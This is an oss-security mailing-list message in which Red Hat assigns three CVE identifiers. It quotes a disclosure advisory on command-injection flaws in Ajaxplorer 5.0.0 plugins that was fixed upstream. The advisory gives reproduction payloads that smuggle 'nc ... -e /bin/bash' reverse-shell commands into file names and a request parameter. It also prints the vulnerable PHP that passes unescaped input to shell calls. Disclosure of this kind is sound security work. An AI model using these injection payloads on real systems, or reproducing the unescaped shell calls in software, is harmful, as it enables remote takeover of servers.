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Message-ID: <52152241.9070102@redhat.com>
Date: Wed, 21 Aug 2013 14:25:37 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: "Mehrenberger, Xavier" <Xavier.Mehrenberger@...sidian.com>
Subject: Re: CVE requests for Ajaxplorer
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On 07/04/2013 02:40 AM, Mehrenberger, Xavier wrote:
> Hello,
>
> I'd like to request CVE identifiers for three remote shell
> execution vulnerabilities I have discovered in ajaxplorer. These
> vulnerabilities are public, and have been fixed by upstream (see
> advisory below).
>
> Kurt, this is the same advisory I sent you privately, describing
> the same vulnerabilities. No identifiers have been issued yet.
>
> Thanks
top posting:
CVE-2013-4267 Ajaxeplorer "Power FS" action.powerfs
CVE-2013-4268 Ajaxeplorer "File System (Standard)" access.fs
CVE-2013-4269 Ajaxeplorer "Subversion Repository" meta.svn
> ======================================= Advisory title: Several
> ajaxplorer 5.0.0 remote exec vulnerabilities Product: Ajaxplorer
> 5.0.0 plugins Credit: Xavier Mehrenberger, Cassidian CyberSecurity
> Upstream URL: http://ajaxplorer.info/ Vulnerable version: 5.0.0
> plugins and probably earlier versions Tested: v5.0.0, June 2013
> Fixed in: v5.0.1, released 2013-06-29 Public fixes:
> https://github.com/ajaxplorer/ajaxplorer-core/commit/22a62840e5ac14bb389
>
>
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> Category: Remote Code Execution Vulnerability type: [CWE-88]
> Argument Injection or Modification CVE IDs: None yet Affected
> plugins: * "Power FS" action.powerfs * "File System (Standard)"
> access.fs * "Subversion Repository" meta.svn By: Xavier
> Mehrenberger Cassidian CyberSecurity
> http://www.cassidiancybersecurity.com
> =======================================
>
> ----- 1st vulnerability Affected plugin: "Power FS" action.powerfs
> Plugin URL: http://ajaxplorer.info/plugins/action/powerfs/ Plugin
> description: delegate various time/memory-consuming actions to the
> underlying filesystem. Required configuration: Power FS plugin is
> enabled. This can be done from the web interface by any user with
> sufficient privileges. User has to be logged in to ajaxplorer.
>
> Steps to reproduce: * Select one or more files * Click
> More>Compress... * Use 'a";nc 127.0.0.1 1234 -e /bin/bash;"b' as
> file name to execute a command on the server. This example command
> provides you with a reverse shell on localhost:1234 (ajaxplorer
> installed on localhost for test purposes)
>
> Vulnerable code sample: --- file
> plugins/action.powerfs/class.PowerFSController.php line 156 144
> $archiveName = $httpVars["archive_name"]; ... 149 $cmd = "zip -r
> \"".$archiveName."\" ".implode(" ", $args); ... 156 $proc =
> popen($cmd, "r"); --- The $archiveName variable is controlled by
> the attacker, and is not escaped before passing it to popen().
> Proposed fix: properly sanitize user-controlled parameters.
>
>
> ----- 2nd vulnerability Affected plugin: "File System (Standard)"
> access.fs Plugin URL: http://ajaxplorer.info/plugins/access/fs/
> Plugin description: Access to the local filesystem Required
> configuration: "Real Size Probing" is set to "Yes" in File System
> plugin configuration. This option is set to "No" by default in
> v5.0.0, but can be set from the web interface by any user with
> sufficient privileges. User has to be logged in to ajaxplorer.
>
> Steps to reproduce: * Create a new empty file * Set its name as
> '$(nc 127.0.0.1 1234 -e bash)' (remove single quotes). This example
> command provides you with a reverse shell on localhost:1234
> (ajaxplorer installed on localhost for test purposes)
>
> Vulnerable code sample: --- file
> plugins/access.fs/class.fsAccessWrapper.php, lines 443, 448, 455
> 440 protected function getTrueSizeOnFileSystem($file) { 442 $cmd =
> "stat -L -c%s \"".$file."\""; 443 $val = trim(`$cmd`); 447 $cmd =
> "ls -1s --block-size=1 \"".$file."\""; 448 $val = trim(`$cmd`); 453
> $cmd = "ls -l \"".$file."\""; 455 $arr = explode("/[\s]+/",
> `$cmd`); --- Line 469 is probably affected as well - executed on
> Windows machines, not tested. The $file value is controlled by the
> attacker, and is not escaped before passing it to backticks '`'.
> Proposed fix: properly sanitize user-controlled parameters.
>
>
> ----- 3rd vulnerability Affected plugin: "Subversion Repository"
> meta.svn Plugin URL: http://ajaxplorer.info/plugins/meta/svn/
> Plugin description: Use an SVN working copy as an ajaxplorer
> repository Required configuration: The SVN plugin has to be
> enabled, and an ajaxplorer "SVN repository" has to be present. This
> can be done from the web interface by any user with sufficient
> privileges. User has to be logged in to ajaxplorer.
>
> Steps to reproduce: * Send a forged revert_file request (ex. using
> burp or webscarab) Such revert_file request get send when a user
> tries to revert a file from an SVN working directory. * Set the
> 'revision' parameter to '1; nc 127.0.0.1 1234 -e /bin/bash; echo'
> (remove single quotes). This example command provides you with a
> reverse shell on localhost:1234 (ajaxplorer installed on localhost
> for test purposes)
>
> Vulnerable code sample: --- file
> plugins/meta.svn/class.SvnManager.php, lines 203 and 205 196
> $revision = $httpVars["revision"]; ... 203 system(
> (SVNLIB_PATH!=""?SVNLIB_PATH."/":"") ."svn cat -r$revision
> $escapedFile > ".escapeshellarg($targetFile)); 204 }else{ 205
> system( (SVNLIB_PATH!=""?SVNLIB_PATH."/":"") ."svn cat -r$revision
> $escapedFile > $escapedFile"); --- The $revision variable is
> controlled by the attacker, and is not escaped properly. Proposed
> fix: properly sanitize user-controlled parameters.
>
>
>
- --
Kurt Seifried Red Hat Security Response Team (SRT)
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